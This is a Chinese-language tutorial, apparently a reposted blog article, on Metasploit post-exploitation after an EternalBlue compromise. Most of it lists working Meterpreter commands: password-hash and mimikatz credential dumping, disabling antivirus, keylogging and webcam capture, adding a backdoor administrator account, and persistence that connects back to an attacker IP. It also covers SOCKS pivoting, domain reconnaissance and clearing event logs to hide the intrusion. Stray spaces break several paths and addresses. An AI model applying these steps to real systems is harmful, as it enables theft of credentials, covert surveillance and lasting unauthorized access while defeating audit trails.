1. 程式人生 > 實用技巧 >Metasploit簡單使用——後滲透階段

Metasploit簡單使用——後滲透階段

在上文中我們復現了永恆之藍漏洞,這裡我們學習一下利用msf簡單的後滲透階段的知識/

一、meterperter常用命令

                           sysinfo             #檢視目標主機系統資訊
run scraper         #檢視目標主機詳細資訊
run hashdump        #匯出密碼的雜湊
load kiwi           #載入mimikatz
ps                  #檢視目標主機程序資訊
pwd                 #檢視目標當前目錄(windows)
getlwd              #檢視目標當前目錄(Linux)
search -f *.jsp -  d e:\                #搜尋E盤中所有以.jsp為字尾的檔案
download  e:\test.txt  /root          #將目標機的e:\test.txt檔案下載到/  root目錄下
upload    /root/test.txt d:\test      #將/root/  test.txt上傳到目標機的 d:\test\ 目錄下
getpid              #檢視當前Meterpreter Shell的程序PID
migrate 1384  #將當前Meterpreter Shell的程序遷移到PID為1384的程序上
idletime            #檢視主機執行時間
getuid              #檢視獲取的當前許可權
getsystem           #提權
run killav/run post/windows/manage/killav         #關閉防毒軟體
screenshot          #截圖
webcam_list         #檢視目標主機的攝像頭
webcam_snap         #拍照
webcam_stream       #開視訊
execute  引數  -  f 可執行檔案   #執行可執行程式
run getgui -u hack -p 123  #建立hack使用者,密碼為123
run getgui -  e                #開啟遠端桌面
keyscan_start                #開啟鍵盤記錄功能
keyscan_dump                 #顯示捕捉到的鍵盤記錄資訊
keyscan_stop                 #停止鍵盤記錄功能
uictl  disable  keyboard     #禁止目標使用鍵盤
uictl  enable   keyboard     #允許目標使用鍵盤
uictl  disable  mouse        #禁止目標使用滑鼠
uictl  enable   mouse        #允許目標使用滑鼠
load                         #使用擴充套件庫
run                     #使用擴充套件庫
 
run persistence -X -i 5 -p 8888 -r 192.168.1.114        #反彈時間間隔是5s 會自動連線192.168  .1.114的4444埠,缺點是容易被防毒軟體查殺
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #將192.168.11.13的3389埠轉發到本地的3389埠上,這裡的192.168.11  .13是獲取許可權的主機的ip地址
clearev                       #清除日誌           

二、Post 後滲透模組

該模組主要用於在取得目標主機系統遠端控制權後,進行一系列的後滲透攻擊動作。

                          run post/windows/manage/  migrate           #自動程序遷移
run post  /windows/gather/  checkvm           #檢視目標主機是否執行在虛擬機器上
run post  /windows/manage/  killav            #關閉防毒軟體
run post  /windows/manage/  enable_rdp        #開啟遠端桌面服務
run post  /windows/manage/  autoroute         #檢視路由資訊
run post  /windows/gather/  enum_logged_on_users    #列舉當前登入的使用者
run post  /windows/gather/  enum_applications       #列舉應用程式
run windows  /gather/credentials/  windows_autologin #抓取自動登入的使用者名稱和密碼
run windows  /gather/smart_hashdump               #dump出所有使用者的hash
                        

三、常用的命令

訪問檔案系統

Meterpreter支援非常多的檔案系統命令(基本跟Linux系統命令類似),一些常用命令如下:

                           cd:切換目標目錄;

cat:讀取檔案內容;

rm:刪除檔案;

edit:使用vim編輯檔案

ls:獲取當前目錄下的檔案;

mkdir:新建目錄;

rmdir:刪除目錄;  

上傳/下載檔案

                           download  file 命令可以幫助我們從目標系統中下載檔案

upload  file  命令則能夠向目標系統上傳檔案。  

許可權提升

有的時候,你可能會發現自己的 Meterpreter 會話受到了使用者許可權的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改登錄檔、安裝後門或匯出密碼等活動都需要提升使用者許可權,而Meterpreter給我們提供了一個getsystem命令,它可以使用多種技術在目標系統中實現提權:

getuid命令可以獲取當前使用者的資訊,可以看到,當我們使用 getsystem進行提權後,使用者身材為 NT AUTHORITY\SYSTEM ,這個也就是Windows的系統許可權。

注:執行getsystem命令後,會顯示錯誤,但是其實已經執行成功了!

獲取密碼(管理員許可權)

1. run hashdump

2. run windows/gather/smart_hashdump

3. 自己上傳mimikatz

4. load kiwi——creds all

5. load mimikatz:①32位系統直接載入模組mimikatz_command -fsekurlsa::searchPasswords

②64位系統先遷移meterpreter到64位的程序中,再載入模組

1、很多使用者習慣將計算機設定自動登入,可以使用run windows/gather/credentials/windows_autologin抓取自動登入的使用者名稱和密碼

2、hashdump 模組可以從SAM資料庫中匯出本地使用者賬號,執行:runhashdump,該命令的使用需要系統許可權

還可以使用命令:run windows/gather/smart_hashdump,,該命令的使用需要系統許可權,該功能更強大,可以匯出域內所有使用者的hash

3、我們還可以通過上傳mimikatz程式,然後執行mimikatz程式來獲取明文密碼。

執行mimikatz必須System許可權

我們先getsystem提權至系統許可權,然後執行execute -i -f mimikatz.exe,進入mimikatz的互動介面。然後執行:

                           privilege::debug

sekurlsa::logonpasswords  

4、載入kiwi模組,該模組的使用需要System許可權,load kiwi檢視該kiwi模組的用法:help kiwi

5、或者執行MSF裡面自帶的mimikatz 模組 ,該模組的使用需要System許可權。傳送門:MSF中mimikatz模組的使用

執行程式

使用execute命令在目標系統中執行應用程式。這個命令的使用方法如下:

                          execute  引數  -f 可執行檔案  
                        

執行後它將執行所指定的命令。可選引數如下:

                          -  f:指定可執行檔案  -  H:建立一個隱藏程序  -  a:傳遞給命令的引數  -  i:  跟程序進行互動  -  m:從記憶體中執行  -  t: 使用當前偽造的執行緒令牌執行程序  -s: 在給定會話中執行程序
                        

建立一個新賬號

先檢視目標主機有哪些使用者:run post/windows/gather/enum_logged_on_users

接下來,我們可以在目標系統中建立一個新的使用者賬號:run getgui -u hack -p 123,這個命令會建立使用者,並把他新增到 Administrators 組中,這樣該使用者就擁有遠端桌面的許可權了。

我們可以看到,這裡成功建立了使用者,但是新增到Administrators組中失敗了 。我們可以執行:shell ,進行cmd視窗手動將該使用者新增到administrators組中。

啟用遠端桌面

當我們新新增的使用者已經擁有遠端桌面之後,我們就可以使用這個賬號憑證來開啟遠端桌面會話了。

首先,我們需要確保目標Windows裝置開啟了遠端桌面功能(需要開啟多個服務),不過我們的 getgui 指令碼可以幫我們搞定。我們可以使用-e引數確保目標裝置開啟了遠端桌面功能(重啟之後同樣會自動開啟),我們輸入:run getgui -e或者run post/windows/manage/enable_rdp

在開啟遠端桌面會話之前,我們還需要使用“idletime”命令檢查遠端使用者的空閒時長:idletime

程序遷移

Meterpreter 既可以單獨執行,也可以與其他程序進行繫結。因此,我們可以讓Meterpreter與類似explorer.exe這樣的程序進行繫結,並以此來實現持久化。

在下面的例子中,我們會將Meterpreter跟 winlogon.exe 繫結,並在登入程序中捕獲鍵盤記錄,以獲得使用者的密碼。

首先,我們需要使用:ps 命令檢視目標裝置中執行的程序:

使用:migrate目標程序ID命令來繫結目標程序id,這裡繫結目標pid的時候,經常會斷了 shell。程序遷移後會自動關閉原來程序,沒有關閉可使用kill pid命令關閉程序。或者使用自動遷移程序(run post/windows/manage/migrate)命令,系統會自動尋找合適的程序然後遷移。

繫結完成之後,我們就可以開始捕獲鍵盤資料了。

生成持續性後門

因為 meterpreter 是基於記憶體DLL建立的連線,所以,只要目標主機關機,我們的連線就會斷。總不可能我們每次想連線的時候,每次都去攻擊,然後再利用 meterpreter 建立連線。所以,我們得在目標主機系統內留下一個持續性的後門,只要目標主機開機了,我們就可以連線到該主機。

建立持續性後門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過服務啟動(metsvc)

啟動項啟動

啟動項啟動的話,我們先生成一個後門工具,傳送門——>用MSF生成一個後門木馬

然後放到windows的啟動目錄中:

                          C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
                        

這樣這個後門每次開機就都能啟動了,然後我們只要相連就監聽相應的埠就行了。

服務啟動

通過服務啟動,我們可以執行命令

                          run persistence -X -i  5  -p  8888  -r  192.168  .1  .114  #反彈時間間隔是5s 會自動連線192.  168   .1.114的4444埠,缺點是容易被防毒軟體查殺
 
#然後它就在目標機新建了這個檔案:C:\Windows\TEMP\CJzhFlNOWa.vbs ,並把該服務加入了登錄檔中,只要開機就會啟  

設定Socks代理

這裡socks模組只是將代理設定為本地的1080埠,即通過proxychains的流量都轉給本地的1080埠,又因為這是MSF起的監聽埠。所以我們需要新增一個路由,這樣MSF監聽的1080埠就可以到達內網了。

MSF中有三個代理模組,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進行代理。socks5可以設定使用者名稱和密碼。這裡執行代理後,有時候MSF不會監聽埠(有可能是個bug,試了好多次都有這種情況),所以也就導致代理失敗。

                           #使用socks4a代理
use auxiliary  /server/  socks5
run
 
#使用socks5代理
use auxiliary  /server/  socks5   set   USERNAME root   set   PASSWORD Password@
run
 
#然後開啟  /etc/  proxychains.conf,加入下面一行
socks5   0.0  .  0.0   1080   root Password@
 
#然後新增路由
route add   0.0  .  0.0   0.0  .  0.0   1   #然後就可以使用curl了
proxychains nmap  -p  21  -Pn -sT x.x.x.x     #在開啟其他程式前加上proxychains
                        

portfwd埠轉發

                          portfwd add -l  3389  -r  192.168  .  1.114  -p  3389  #將192.  168.1.114  的3389埠轉發到本地的3389埠上,這裡的192.  168.1.114  是獲取許可權的主機的ip地址
                        

portfwd 是meterpreter提供的一種基本的埠轉發。porfwd可以反彈單個埠到本地,並且監聽。

然後我們只要訪問本地的3389埠就可以連線到目標主機的3389埠了

                          rdesktop  127.0  .  0.1  :  3389  

清除事件日誌

完成攻擊操作之後,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日誌檔案之中,因此我們需要在完成攻擊之後使用命令clearev 命令來清除事件日誌:

匯入並執行PowerShell指令碼

                           load powershell            #載入powershell功能
powershell_import  /root/  PowerView.ps1      #匯入powershell指令碼,提前將該powershell指令碼放到指定目錄
powershell_execute Get  -NetDomain     #執行該指令碼下的功能模組Get-  domain,該模組用於獲取域資訊,一個指令碼下通常有多個功能模組
powershell_execute Invoke  -  UserHunter  #該功能模組用於定位域管理員登入的主機
powershell_execute Get  -NetForest      #該模組用於定位域資訊
                        

如果powershell指令碼是用於域內資訊收集的,則獲取到的許可權使用者需要是域使用者.